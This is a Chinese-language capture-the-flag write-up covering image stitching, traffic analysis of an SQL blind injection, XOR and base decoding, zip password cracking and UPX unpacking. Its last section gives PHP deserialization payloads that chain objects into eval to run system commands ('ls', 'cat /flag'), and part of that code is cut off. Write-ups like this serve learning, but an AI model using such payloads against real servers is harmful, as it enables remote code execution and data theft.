可叹落叶飘零

1、先进行修改时间排序照片
2、有100张照片,可以猜一下是520还是1010的拼接方式
3、自己手动拼接后发现是10*10的拼接方式
4、这里其实可以直接手搓出信息
5、科学方法,用chat和python写出拼接代码
6、这里附上python代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| import os from PIL import Image
# 指定图片文件夹路径 folder_path = "D:\\flag\\可叹,落叶飘零"
# 获取文件夹中所有png图片文件的路径 png_files = [os.path.join(folder_path, f) for f in os.listdir(folder_path) if f.endswith('.png')]
# 按照修改日期排序文件列表 png_files.sort(key=lambda x: os.path.getmtime(x))
# 动态计算新的大图片尺寸 total_images = len(png_files) columns = 10 rows = (total_images + columns - 1) // columns max_width = max_height = 0
for png_file in png_files: img = Image.open(png_file) width, height = img.size max_width = max(max_width, width) max_height = max(max_height, height)
result_width = max_width * columns result_height = max_height * rows
# 创建一个新的大图片 result_image = Image.new("RGB", (result_width, result_height))
# 逐行拼接图片 x_offset = y_offset = 0 for idx, png_file in enumerate(png_files): img = Image.open(png_file) result_image.paste(img, (x_offset, y_offset)) x_offset += max_width if (idx + 1) % columns == 0: x_offset = 0 y_offset += max_height
# 保存拼接后的图片 result_image.save("result_image.png")
print("图片拼接完成!")
|

7、这里得到信息,文字识别不了,可能因为分辨率太低了,选择手搓
8、不过提交发现并不是flag,所以这里猜测可能进行了base加密
注意:可能会把l看成大I,如果是大I的话会解出乱码,试错后发现是l而不是大I

9、进行解密后得到flag
手搓之神or脚本之神
1、用wireshark打开,按时间顺序进行请求方式的筛选


2、分析数据流,他是在进行sql碰撞得到flag的每一位ascll码,最后一次请求即为碰撞成功的ascll码值
3、转成字母数字得到flag
4、手搓之神有待python代码附上
xor 签到题
1、先将xor放入IDA打开,f5看伪c代码

2、发现他是在跟5进行异或,u代表unsigned int,无符号整数
3、随后写出python的异或代码,得出flag(这里好像不用考虑转义字符,只有一个\)
Plain Text复制代码
1
2
3
4
5
result= ‘cidb~\5pZnk5rZ}56x’
flag= ‘’
for i in range(len(result)):
print(chr((ord(result[i]))^5),end=’’)

ez_wireshark_1
1、先打开流量
2、直接明文搜索flag,得到

ez_wireshark_2
1、流量里面发现有个被加密的flag.txt
2、跟踪数据流(注意这里不能直接复制,要查看原始数据,发现文件名开头的数据为504b0304),504b0506为结尾,后还有18个字节,本题刚好到最后一个字节为18个
3、复制16进制数据放入010中生成zip文件,发现里面有加密的txt文件

4、用ARCHPR进行字典解密,得到密钥

5、输入密钥得到flag
生产流量分析
1、打开流量,根据modbus进行筛选
2、根据modbus数据流发现可疑数据

3、手搓下来,进行base32解码得到flag

upx and base 64 change
1、拖入010发现标识符被改,将其改成大写的UPX,在进行脱壳

2、放入exeinfo里面进行查壳,packed,32bit
用upx进行脱壳

再看一下壳已经消失

3、直接放32位IDA里面
F5可以先找找main函数,发现密文

4、题目提示是base64的变形题,shift F12找到密文和密钥
5、发现两个密钥进行尝试解密,提示词crypto

6、



Unser
ClassObj = new hello();
}
function __destruct() {
$this->ClassObj->action();
}
}
class hello {
function action() {
echo "hello pop ";
}
}
class shell {
public $data;
function action() {
eval($this->data);
}
}
$a = new pop();
@unserialize($_GET['s']);
hello pop
这里可以看到 ->eval($this->data);
这里可以看到action()方法可以运行传入的data的代码
由原运行结果可知反序列化之后先执行的是pop-> 所以要让ClassObj为shell类型->再将shell中data的值变为想要的代码
O:3:"pop":1:{s:8:"ClassObj";O:5:"shell":1:{s:4:"data";s:13:"system("ls");";}} 先看看目录

O:3:"pop":1:{s:8:"ClassObj";O:5:"shell":1:{s:4:"data";s:15:"system("ls /");";}} 再看看根目录 找到flag

然后就是查看flag的内容了
O:3:"pop":1:{s:8:"ClassObj";O:5:"shell":1:{s:4:"data";s:20:"system("cat /flag");";}}

cat +文件路径即可